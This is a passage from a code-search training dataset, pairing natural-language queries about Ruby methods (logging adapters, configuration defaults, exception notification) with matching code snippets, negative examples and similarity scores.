version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'GET',\n 'purpose' => 'List all Packages or specific Package',\n 'special' => 'Use version=last to retrieve Packages last version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new Package'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update PD status'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages/{id}/status',\n 'method' => 'PUT',\n 'purpose' => 'Updates the status of a Package {\"status\": \"active\" / \"inactive\"} as valid json payloads'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'GET',\n 'purpose' => 'List all son-packages or specific son-package'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new son-package'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific son-package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Remove a son-package'\n }\n ]\n end",
"def get_interfaces\n @list = %x(/usr/sbin/networksetup -listallnetworkservices).split(\"\\n\").drop(1)\n end",
"def registered\n return [] if empty?\n\n storage\n end",
"def get_all()\n raise \"Must be overridden\"\n end",
"def interfaces()\n ifaces = []\n request = Packet.create_request(COMMAND_ID_SNIFFER_INTERFACES)\n response = client.send_request(request)\n response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p|\n vals = p.tlvs.map{|x| x.value }\n iface = { }\n if vals.length == 8\n # Windows\n ikeys = %W{idx name description type mtu wireless usable dhcp}\n else\n # Mettle\n ikeys = %W{idx name description usable}\n end\n ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }\n ifaces << iface\n }\n return ifaces\n end",
"def encoders\n IITEncoderCollection.new(@ole.Encoders)\n end",
"def endpoints\n EndpointRegistry[id]\n end",
"def __adapter_for_klass(klass)\n Adapter.adapters.select { |name, checker| checker.call(klass) }.keys.first\n end",
"def adapter\n return @adapter if @adapter\n self.use self.default_adapter\n @adapter\n end",
"def adapter\n return @adapter if @adapter\n self.use self.default_adapter\n @adapter\n end",
"def search_adaptors(type = 'all')\n @adaptors[type] ||= search_adaptor_files(type).collect do |file|\n file['adaptor_class_name'].constantize.new(file)\n end\n end",
"def get_adapter_ext_eth_interface_list(opts = {})\n data, _status_code, _headers = get_adapter_ext_eth_interface_list_with_http_info(opts)\n data\n end",
"def connections\n @_connections ||= {}\n end",
"def instance_adapter(adapter)\n adapter.bind_instances(self)\n end",
"def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend",
"def all\n storage.map(&:repository)\n end",
"def providers\n @providers.keys\n end",
"def all\n storage\n end",
"def all\n @items\n end",
"def all_subscriptions(&block)\n subscriptions.list(&block)\n end",
"def connect\n return if connected?\n self.adapters.each{|adapter| adapter.connect }\n self.connected = true\n end",
"def register_adapter( a )\n aname = a.name.split('::').last.downcase\n @@adapters[aname] = a\n end",
"def addons\n []\n end",
"def extended_interfaces; end",
"def all\n @all ||= ENV['DOCKER_REGISTRIES'].to_s.split(',').map { |url| new(url) }\n end",
"def registry\n Service.descendants\n end",
"def connections\n @connections ||= {}\n end",
"def connections\n @connections ||= {}\n end",
"def packages\n Autoproj.warn_deprecated \"use #each_package instead\"\n each_package.to_a\n end",
"def getInterfaces()\n # this actually resolves to the output of ifconfig, which we can then\n # scan for connections\n ifconfigOut = `ifconfig`\n\n @interfaces = Array.new\n\n arr = ifconfigOut.scan(/inet addr:([0-9]+.[0-9]+.[0-9]+.[0-9]+)/)\n arr.each { |ip| \n newIp = ip[0]\n if newIp !~ /127.0.0.1/\n @interfaces.push(newIp)\n end\n }\n end",
"def adapter_class\n ADAPTERS[Utilities.adapter]\n end",
"def extensions\n self.class.extensions\n end",
"def extensions\n self.class.extensions\n end",
"def all_dbs\n @conn.query({url_path: \"_all_dbs\", method: :get})\n end",
"def drivers()\n self.rides().map { | ride | ride.driver }\n end",
"def all\n self.class.all\n end"
] | [
"0.8323311",
"0.8265546",
"0.8175799",
"0.7955741",
"0.74720234",
"0.74542874",
"0.73759955",
"0.7338438",
"0.7284318",
"0.7232815",
"0.69850993",
"0.68754315",
"0.6808092",
"0.67782295",
"0.65089655",
"0.641997",
"0.6357729",
"0.6348418",
"0.61437345",
"0.6136653",
"0.611748",
"0.6117451",
"0.6067921",
"0.6067921",
"0.6051771",
"0.60336256",
"0.602808",
"0.6000539",
"0.5985697",
"0.5948068",
"0.59329224",
"0.592199",
"0.5919311",
"0.59141266",
"0.590811",
"0.5907105",
"0.58931196",
"0.5862769",
"0.5838802",
"0.5810029",
"0.5806673",
"0.58066577",
"0.580088",
"0.57866573",
"0.5746544",
"0.5672109",
"0.56587094",
"0.56373656",
"0.5625521",
"0.56219006",
"0.56096923",
"0.55939174",
"0.5592926",
"0.5584091",
"0.5580901",
"0.55780786",
"0.55745757",
"0.5559298",
"0.55569583",
"0.5555199",
"0.5550972",
"0.55498725",
"0.5547757",
"0.55461425",
"0.55443287",
"0.5534426",
"0.55328125",
"0.55274636",
"0.5516914",
"0.5508926",
"0.5492287",
"0.54819363",
"0.5481279",
"0.5480814",
"0.54771423",
"0.5445039",
"0.54142255",
"0.540904",
"0.5399257",
"0.5395118",
"0.5391795",
"0.5385524",
"0.5380985",
"0.53676736",
"0.53609395",
"0.5359335",
"0.53593117",
"0.5357658",
"0.5353292",
"0.533496",
"0.53213584",
"0.53174293",
"0.5314432",
"0.5313543",
"0.5312414",
"0.5306323",
"0.5306323",
"0.52995515",
"0.52993083",
"0.5293199"
] | 0.77416784 | 4 |
Proxy logger onto the adapter | def logger
adapter.logger if adapter
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def logger\n adapter.logger\n end",
"def logger\n adapter.logger\n end",
"def use_logger(logger)\n adapter.logger = logger\n end",
"def with_logger\n yield\n end",
"def logger\n raise NotImplementedError\n end",
"def log=(logger); end",
"def logger=(logger); end",
"def logger=(logger); end",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def log\n\t\t\t@log_proxy ||= ClassNameProxy.new( self.class )\n\t\tend",
"def logger\n @adaptee.logger\n end",
"def logger ; @log end",
"def logger\n @cycler.logger\n end",
"def logger=(logr); @logger = logr end",
"def get_logger; @logger; end",
"def logger\n backend.logger\n end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def method_missing(m, *args, &block)\n \tRails.logger.send m, *args, &block\n end",
"def logger(method_name)\n LoggingWrapper.new(\"#{self.class.name}.#{method_name}\")\n end",
"def attach_to(logger)\n logger.extend ActiveSupport::Logger.broadcast(ActiveSupport::Logger.new(self))\n end",
"def logger\n unless @_logger\n @_logger = Cachetastic::Logger.new(adapter.logger)\n end\n @_logger\n end",
"def method_missing(m, *args, &block)\n Rails.logger.send m, *args, &block\n end",
"def log_with( &block )\n @logger = block\n end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def logger=(_arg0); end",
"def configure_logging\n @logger = Logging.logger[self]\n end",
"def logger\n @log\n end",
"def logger\n @log\n end",
"def logger \n klass = self.class\n klass.logger\n end",
"def logger\n initialize_logger unless @logger\n @logger\n end",
"def log_writer; end",
"def logger\n @logger\n end",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def log_debug\n\t\t\t@log_debug_proxy ||= ClassNameProxy.new( self.class, true )\n\t\tend",
"def logger\n @logger\n end",
"def logger\n @logger\n end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger=(writer); end",
"def logger(**opts); end",
"def log(log_)\n raise NotImplementedError.new(\"Logging Appender must implement #log(log)\")\n end",
"def logger=(writer)\n @logger = LogAdapter.new(writer)\n end",
"def enable_logging\n initialize_logger\n end",
"def logger_output; end",
"def logger; LOGGER; end",
"def logger\r\n self.class.logger\r\n end",
"def log= logger\n @log = logger\n end",
"def log= logger\n @log = logger\n end",
"def access_logger\n Rails.application.config.another_logger.info(\"#{request.method} '#{request.path}' #{request.version} from: #{request.remote_ip}\")\n end",
"def log\n Howitzer::Log.instance\nend",
"def logger\n @logger ||= LogAdapter.new(Stevenson.new, (ENV[\"JEKYLL_LOG_LEVEL\"] || :info).to_sym)\n end",
"def log \n\t\t\tArrow::Logger[ self.class ]\n\t\tend",
"def logger\n @logger ||= set_logger\n end",
"def logger\n @__logger\n end",
"def method_missing(name, *args)\n if @logger && @logger.respond_to?(name)\n @logger.send(name, *args)\n end\n end",
"def logger; settings(:logger); end",
"def method_missing(method_symbol, *args)\n init() unless @logger\n if args.length > 0\n @logger.send(method_symbol, *args)\n else\n @logger.send(method_symbol)\n end\n end",
"def logger\n @logger ||= IpLogger.new\n @logger\n end",
"def logger\n @logger ||= build_logger\n end",
"def logger\n LOGGER\n end",
"def log_internal(level=1)\n internal = Logger['log4r']\n return if internal.nil?\n internal.send(LNAMES[level].downcase, yield)\n end",
"def enable_logging(opts); end",
"def logger\n @logger ||= SubscriberLogger.new(self)\n end",
"def logger\n @logger ||= self.class.logger\n end",
"def logger\n Turntabler.logger\n end",
"def log\n self.class.log\n end",
"def log(log)\n raise NotImplementedError\n end",
"def with_logging(method_name = nil)\n method_name ||= caller[0][/`([^']*)'/, 1]\n result = yield\n self.log method_name, result\n result\n end",
"def logger=(v)\n @@logger = v\n end"
] | [
"0.763701",
"0.763701",
"0.7351045",
"0.7019354",
"0.6986181",
"0.6950784",
"0.69455206",
"0.69455206",
"0.69070506",
"0.69070506",
"0.69070506",
"0.69070506",
"0.69070506",
"0.68697566",
"0.68667364",
"0.6860585",
"0.68583554",
"0.6857631",
"0.67945534",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6741521",
"0.6734321",
"0.6722138",
"0.66921425",
"0.6684796",
"0.6670525",
"0.6655867",
"0.6649697",
"0.6649697",
"0.6649697",
"0.6649697",
"0.6649697",
"0.6649697",
"0.6649697",
"0.65978014",
"0.6584541",
"0.6584541",
"0.65722007",
"0.6557844",
"0.6547701",
"0.64935106",
"0.64934134",
"0.64934134",
"0.64934134",
"0.64934134",
"0.64934134",
"0.6489776",
"0.6489776",
"0.64820296",
"0.64820296",
"0.64820296",
"0.64820296",
"0.64820296",
"0.64507145",
"0.64040357",
"0.6385745",
"0.6355606",
"0.6354818",
"0.63449436",
"0.6308501",
"0.63006204",
"0.63006204",
"0.62971044",
"0.6287229",
"0.6276789",
"0.62759936",
"0.62692875",
"0.6250945",
"0.62468886",
"0.6246001",
"0.6241124",
"0.62400186",
"0.62252444",
"0.62229353",
"0.619764",
"0.61878467",
"0.61626863",
"0.6154423",
"0.6153264",
"0.61479783",
"0.61465126",
"0.61417043",
"0.6137377"
] | 0.7621533 | 2 |
Call this method to modify defaults in your initializers. | def configure(silent = false)
self.configuration ||= Configuration.new
yield(configuration)
self.sender = Sender.new(configuration)
# Attempt to attach an adapter, either by class or name
if adapters.include? configuration.adapter
self.adapter = configuration.adapter.new(configuration)
elsif configuration.adapter
adapter_class = Ribbit::Adapters.load_adapter configuration.adapter
self.adapter = adapter_class.new(configuration) rescue nil
end
self.adapter.activate! if self.adapter
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_defaults\n end",
"def set_defaults\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults\n\n end",
"def set_defaults!\n __load_config( DEFAULTS )\n end",
"def set_defaults\n super\n end",
"def set_defaults\n super\n end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def defaults; end",
"def set_default_options\n end",
"def reset_defaults; end",
"def defaults\n super\n end",
"def initialize\n set_defaults\n end",
"def initialize\n set_defaults\n end",
"def set_default_values\n self.class.defaults.each do |key, default|\n self[key] ||= default\n end\n end",
"def defaults!; end",
"def defaults!; end",
"def deferred_defaults\n set_default_path\n set_default_properties\n end",
"def initialize(*)\n super\n apply_defaults\n end",
"def initialize_default_values!\n Marshal.load(Marshal.dump(self.class.default_values)).each do |k, v|\n self[k] ||= v\n end\n end",
"def with_defaults(defaults); end",
"def defaults\n self.class.defaults #.merge(@defaults || {})\n end",
"def set_defaults\n self.published ||= false\n self.archived ||= false\n self.is_default ||= false\n self.version ||= 0\n self.visibility = ((self.org.present? && self.org.funder_only?) || self.is_default?) ? Template.visibilities[:publicly_visible] : Template.visibilities[:organisationally_visible] unless self.id.present?\n self.customization_of ||= nil\n self.family_id ||= new_family_id\n self.archived ||= false\n self.links ||= { funder: [], sample_plan: [] }\n end",
"def set_default_values\n # Ethernet configuration\n self.network_1_id ||= 1\n self.ethernet_ip_assignment_method_id ||=1\n # GRPS\n self.gprs_mtu ||= 1450\n # PSTN\n self.pstn_mtu ||= 1500\n # Time configuration\n self.time_zone ||= 'UTC'\n # Interval configuration\n self.configuration_update_interval ||= 3600\n self.status_interval ||= 3600\n self.send_data_interval ||= 86400\n # Software update configuration\n self.auto_update ||= false\n self.software_update_interval ||= 604800\n self.repo_type ||= 'stable'\n # Log configuration\n self.send_log_files ||= false\n # State XML\n self.state_xml ||= \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n<modified>true</modified>\\n\"\n end",
"def set_defaults\n self.annual_inflation_rate ||= 1.1\n self.pcnt_residual_value ||= 0\n self.condition_rollup_weight ||= 0\n end",
"def set_default\n end",
"def set_defaults\n self.mmr ||= 1500\n self.k_value ||= 40\n self.home_mmr ||= self.mmr\n self.away_mmr ||= self.mmr\n self.active ||= true\n self.total_games ||= 0\n end",
"def add_defaults_autogenerated\n add_defaults_recursive\n end",
"def set_defaults\n self.help ||= ENV['help_text']\n self.help_url ||= ENV['help_url']\n self.created_at ||= DateTime.current\n end",
"def initialize_defaults\n %w(show_first_column show_last_column show_row_stripes show_column_stripes).each do |attr|\n send(\"#{attr}=\", 0)\n end\n end",
"def defaults\n self.class.defaults\n end",
"def default_options=(opts); end",
"def default!(defaults = {})\n replace(defaults.merge(self))\n end",
"def default_configuration=(_arg0); end",
"def set_defaults\n self.created_at ||= DateTime.now.utc\n self.keyword ||= nil\n self.extra ||= nil\n end",
"def set_defaults\n super\n self.extended_useful_life_months ||= 0\n self.extended_useful_life_miles ||= 0\n end",
"def defaults\n {}\n end",
"def defaults(params)\n @defaults = @defaults.merge(params)\n end",
"def set_defaults\n self.version = 0\n end",
"def init_default_attributes\n self.config_params ||= DEFAULT_CONFIG_PARAMS\n self.has_inventory = true\n end",
"def required_defaults; end",
"def defaults\n @defaults\n end",
"def set_defaults\n self.state ||= 'NEW'\n self.account_id ||= Gizmo::Util::Uuid.generate\n self.account_name ||= self.subdomain\n end",
"def set_defaults\n self.min_service_life_months ||= 0\n self.replacement_cost ||= 0\n self.lease_length_months ||= 0\n self.rehabilitation_service_month ||= 0\n self.rehabilitation_labor_cost ||= 0\n self.rehabilitation_parts_cost ||= 0\n self.extended_service_life_months ||= 0\n self.min_used_purchase_service_life_months ||= 0\n self.cost_fy_year ||= current_planning_year_year\n end",
"def defaults!\n @badge_enabled = true\n @badge_position = 'top-left'\n @page_size = 25\n @webpacker_enabled = true\n end",
"def set_defaults\n self.country ||= 'Sverige'\n end",
"def init_quick_defaults\n @quick_defaults=Hash.new\n @quick_defaults['enabled']=false\n @quick_defaults['launch']='ONETIME'\n @quick_defaults['launch_now']=true\n @quick_defaults['description']='Created with nessus_rest'\n end",
"def reset_defaults_and_overrides\n default.clear\n override.clear\n end",
"def init_config()\n options_apply_filter(\"DEFAULT\")\n end",
"def set_defaults(options = T.unsafe(nil)); end",
"def load_defaults\n @dev_port = @default_dev_port\n @dev_pid = @default_dev_pid\n @dev_log = @default_dev_log\n @prod_port = @default_prod_port\n @prod_pid = @default_prod_pid\n @prod_log = @default_prod_log\nend",
"def initialize\n @options = defaults\n end",
"def initialize\n @options = defaults\n end",
"def defaults\n {}\n end",
"def defaults\n {}\n end",
"def reset!\n @defaults.each do |k, v|\n instance_variable_set(k, v)\n end\n end",
"def default_options; {} end",
"def defaults\n self.behaviour_evaluated = false if self.behaviour_evaluated.nil?\n self.special_needs_ok = false if self.special_needs_ok.nil?\n self.long_term_resident = false if self.long_term_resident.nil?\n self.senior = false if self.senior.nil?\n end",
"def set_defaults\n self.state ||= 'ACTIVE'\n self.account_user_id ||= Gizmo::Util::Uuid.generate\n self.is_owner ||= false\n end",
"def initialize(&block)\n load_defaults!\n\n instance_eval(&block) if block_given?\n\n set_defaults!\n end",
"def set_default_values\n self.points_log ||= POINTS_LOG\n self.points_log_first_of_day ||= POINTS_LOG_FIRST_OF_DAY\n self.points_peer_assessment ||= POINTS_PEER_ASSESSMENT\n self.points_peer_assessment_first_of_team ||= POINTS_PEER_ASSESSMENT_FIRST_OF_TEAM\n self.points_project_evaluation ||= POINTS_PROJECT_EVALUATION\n self.points_project_evaluation_first_of_team ||= POINTS_PROJECT_EVALUATION_FIRST_OF_TEAM\n self.max_logs_per_day ||= MAX_LOGS_PER_DAY\n self.points_project_evaluation_submitted_first_day ||= POINTS_PROJECT_EVALUATION_SUBMITTED_FIRST_DAY\n self.points_peer_assessment_submitted_first_day ||= POINTS_PEER_ASSESSMENT_SUBMITTED_FIRST_DAY\n self.marking_algorithm_id ||= MARKING_ALGORITHM_ID\n end",
"def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end",
"def set_defaults\n self.not_to_exceed ||= false\n self.emergency ||= false\n end",
"def init_default_settings!\n self.class.default_settings.dup.each do |var, vals|\n setting_objects.detect { |s| s.var == var.to_s } || setting_objects.create(var: var.to_s, value: vals, target: self)\n end\n end",
"def initialize_user_settings_defaults\n self.disabled_sports = []\n self.locale = 'en'\n self.device_ids = []\n end",
"def init!\n @defaults = {\n :@refresh_token => ShakeTheCounter::Config.refresh_token,\n :@id => ShakeTheCounter::Config.client_id,\n :@secret => ShakeTheCounter::Config.client_secret,\n :@language_code => ShakeTheCounter::Config.language_code,\n }\n end",
"def initialize(options={})\n @values = @@defaults.merge(options)\n end",
"def default_options; end",
"def default_options; end",
"def default_options; end",
"def set_default_values\n h = {}\n if @db_schema\n @db_schema.each do |k, v|\n if v[:callable_default]\n h[k] = v[:callable_default]\n elsif !v[:ruby_default].nil?\n h[k] = convert_default_value(v[:ruby_default])\n end\n end\n end\n @default_values = h.merge!(@default_values || OPTS)\n end",
"def set_defaults\n defaults = { primary_ip: '0.0.0.0',\n priority: 100,\n timers_advertise: 1,\n preempt: true,\n enable: true,\n ip_version: 2,\n mac_addr_adv_interval: 30,\n preempt_delay_min: 0,\n preempt_delay_reload: 0,\n delay_reload: 0 }\n\n # If the value is not set in the @property_hash then set\n # the value in the @property_flush.\n defaults.keys.each do |key|\n @property_flush[key] = defaults[key] unless @property_hash.key?(key)\n end\n end",
"def set_default_values\n # set_new_record_default_values\n set_attr_accessor_default_values\n end",
"def reset!\n @defaults.each { |key, value| instance_variable_set(key, value) }\n end",
"def reset!\n @defaults.each { |key, value| instance_variable_set(key, value) }\n end",
"def init_settings\n merge_in_user_settings(copy_hash(DEFAULT_SETTINGS))\n end",
"def default!\n clear.merge!(defaults)\n end",
"def use_defaults_if_nil\n @move = TactBattleManager::Defaults::Move if @move.nil?\n @jump_length = TactBattleManager::Defaults::Jump if @jump_length.nil?\n @passables = TactBattleManager::Defaults::Passables if @passables.nil?\n @jumpables = TactBattleManager::Defaults::Jumpables if @jumpables.nil?\n end",
"def set_defaults\n # should set the default based on category\n if self.fta_asset_category.try(:name) == 'Facilities'\n self.useful_life_benchmark ||= 3\n self.useful_life_benchmark_unit ||= 'condition_rating'\n elsif self.fta_asset_category.try(:name) != 'Infrastructure'\n self.useful_life_benchmark ||= self.asset_level.try(:default_useful_life_benchmark)\n self.useful_life_benchmark_unit ||= self.asset_level.try(:useful_life_benchmark_unit)\n end\n\n self.useful_life_benchmark_locked = self.useful_life_benchmark_locked.nil? ? false : self.useful_life_benchmark_locked\n\n if self.fta_asset_category.try(:name) == 'Infrastructure'\n self.pcnt_goal ||= 10\n else\n self.pcnt_goal ||= 0\n end\n\n self.pcnt_goal_locked = self.pcnt_goal_locked.nil? ? false : self.pcnt_goal_locked\n\n end",
"def set_defaults\n self.allow_download ||= false\n self.allow_streaming ||= false\n self.expired ||= false\n self.revoked ||= false\n end",
"def set_defaults\n unless persisted?\n end\n end",
"def initialize_defaults(method_name)\n end",
"def set_defaults\n if self.project.present?\n self.currency = self.project.account.account_setting.default_currency\n end\n \n self.quote_status = 0\n self.vat_rate = 20.0\n self.discount_percentage = 0.0\n self.new_quote = 1\n end",
"def set_defaults\n\n unless self.credits.present?\n Credit.default_credits.each do |item|\n @credit = self.user_credits.new\n @credit.credit_id = item.id\n end\n end\n\n self.video_type ||= ENUMERATIONS[:video_type].first\n self.title = \"Untitled\"\n self.description = \"This video needs a description\"\n self.duration = 60\n end",
"def new_model_defaults\n end",
"def load_default_config\n self[:disable_html] ||= true\n self[:url_target] ||= \"_BLANK\"\n self[:image_alt] ||= \"Posted Image\"\n self[:table_width] ||= \"100%\"\n self[:syntax_highlighter] ||= :raw\n self[:coderay_options] ||= {}\n end",
"def set_defaults\n self.emailing_sections.each do |section|\n section.set_defaults\n end\n end",
"def set_defaults\n\t self.year ||= Date.today.cwyear\n\t self.start_week ||= 1\n self.end_week ||= Date.new(Date.today.cwyear, 12, 28).cweek #calc for number of weeks in current year\n\t self.hours_in_week ||= 40\n\t self.holiday ||= 8\n\t self.billable_rate ||= 90\n self.billable_per_week ||= self.hours_in_week\n \tend",
"def add_defaults_local\n super\n self.timestamp ||= Java.now\n self.user ||= default_user\n end"
] | [
"0.8400854",
"0.8400854",
"0.83391494",
"0.83391494",
"0.83391494",
"0.83391494",
"0.83391494",
"0.83391494",
"0.82290864",
"0.76817745",
"0.76817745",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.76770246",
"0.7601478",
"0.7556782",
"0.7505005",
"0.7473422",
"0.7473422",
"0.7406454",
"0.7377893",
"0.7377893",
"0.73453844",
"0.72971535",
"0.7270496",
"0.71733075",
"0.7106938",
"0.7098288",
"0.7094784",
"0.70574623",
"0.7044823",
"0.7036839",
"0.70238256",
"0.7019681",
"0.7016932",
"0.6989684",
"0.6985585",
"0.69767207",
"0.6962599",
"0.69607824",
"0.69603574",
"0.6957756",
"0.69568545",
"0.6948404",
"0.6944133",
"0.69323635",
"0.6921101",
"0.6920049",
"0.6919577",
"0.6918959",
"0.691846",
"0.690889",
"0.6901144",
"0.6899272",
"0.6894457",
"0.6890476",
"0.6889599",
"0.6889599",
"0.6879864",
"0.6879416",
"0.6875257",
"0.6874392",
"0.68713194",
"0.6861394",
"0.6857958",
"0.6837649",
"0.6836388",
"0.6836388",
"0.68327814",
"0.68316066",
"0.68295324",
"0.6824298",
"0.68226194",
"0.68226194",
"0.68226194",
"0.68150514",
"0.68137026",
"0.68126965",
"0.68096817",
"0.68096817",
"0.6802649",
"0.67955285",
"0.6795402",
"0.67908585",
"0.6789916",
"0.6785121",
"0.6781146",
"0.67754245",
"0.6773192",
"0.6765936",
"0.6758225",
"0.6752772",
"0.67510754",
"0.6730974"
] | 0.0 | -1 |
Sends an exception manually using this method, even when you are not in a controller. | def notify(exception, opts = {})
send_notice(build_notice_for(exception, opts))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rails_controller_rescue\n yield\n rescue Exception => exception\n rails_controller_instance.rescue_with_handler(exception) || raise\n\n unless rails_controller_instance.performed?\n raise Rodauth::Rails::Error, \"rescue_from handler didn't write any response\"\n end\n end",
"def serve_exception(_exception); end",
"def severe_error(note =\"\", excpt)\n if @controller and @controller.class < ApplicationController\n @controller.expires_now\n @controller.head :internal_server_error,\n x_error_details: 'Something is wrong with this relay. Try again later.'\n end\n _log_exception ERROR,note,excpt\n end",
"def bypass_rescue\n @controller.extend(BypassRescue)\n end",
"def rescue_action_locally(exception)\n @exception = exception\n @rescues_path = File.dirname(__FILE__) + \"/templates/rescues/\"\n add_variables_to_assigns\n @contents = @template.render_file(template_path_for_local_rescue(exception), false)\n \n @headers[\"Content-Type\"] = \"text/html\"\n render_file(rescues_path(\"layout\"), \"500 Internal Error\")\n end",
"def rescue_action_locally(exception)\n @exception = exception\n @rescues_path = File.dirname(__FILE__) + \"/templates/rescues/\"\n add_variables_to_assigns\n @contents = @template.render_file(template_path_for_local_rescue(exception), false)\n \n @headers[\"Content-Type\"] = \"text/html\"\n render_file(rescues_path(\"layout\"), \"500 Internal Error\")\n end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action(e) raise e end",
"def rescue_action_in_public_with_mole( exception )\n # Stuff the exception in the env for mole rack retrieval\n request.env['mole.exception'] = exception\n rescue_action_in_public_without_mole( exception )\n end",
"def handle_exception(exception)\n if safe_rescue_exception?(exception)\n # This exception should be safely rescued to prevent false positive for the dynamic scanners. Log the exception\n message = \"Automatic handled \" + exception.class.to_s + \": \" + exception.message + \" to prevent false positive\"\n logger.debug message\n flash[:alert] = message unless running?\n # Try to render the normal controller action (although with empty results) as if everything is well\n render\n else\n # This exception should not be safe rescued (possible SQL injection!). Simply raise the exception again to display the full error.\n logger.fatal \"Params: \"+ params.inspect\n raise exception\n end\n end",
"def rescue_action_in_public_with_notifier(exception) #:doc:\n response_code = response_code_for_rescue(exception)\n status = interpret_status(response_code)[0,3]\n respond_to do |format|\n # Personalize rescue rules for backend\n if controller_path =~ /^backend\\//\n # Usually when we made a post we submit the form\n # to a target iframe, so we need to respond to the parent.\n if request.post?\n responds_to_parent do\n render :update do |page|\n page.unmask\n page.ext_alert I18n.t(\"lipsiadmin.exceptions.#{status}.title\"), I18n.t(\"lipsiadmin.exceptions.#{status}.description\")\n end\n end\n else\n # We can't use status, because Backend.app.load don't permit load 500, 404 pages\n format.html { render :template => \"/exceptions/#{status}\" }\n format.js do\n render :update do |page|\n page.unmask\n page.ext_alert I18n.t(\"lipsiadmin.exceptions.#{status}.title\"), I18n.t(\"lipsiadmin.exceptions.#{status}.description\")\n end\n end\n format.all { render :nothing => true, :status => status }\n end\n else\n format.html { render :template => \"/exceptions/#{status}\", :status => status }\n format.all { render :nothing => true, :status => status }\n end\n end\n rescue Exception => e\n logger.error e.message\n erase_results\n rescue_action_in_public_without_notifier(exception)\n ensure\n if response_code != :not_found && Lipsiadmin::Mailer::ExceptionNotifier.send_mail\n Lipsiadmin::Mailer::ExceptionNotifier.deliver_exception(exception, self, request)\n end\n end",
"def rescue_action_locally(exception)\n cashboard_rescue_exception()\n super(exception)\n end",
"def rescue_action_in_public(exception) #:doc:\n render_text \"<html><body><h1>Application error (Rails)</h1></body></html>\"\n end",
"def rescue_action_in_public(exception) #:doc:\n render_text \"<html><body><h1>Application error (Rails)</h1></body></html>\"\n end",
"def rescue_action_in_public(exception)\n render :template => \"shared/error\", :status => \"500\"\n end",
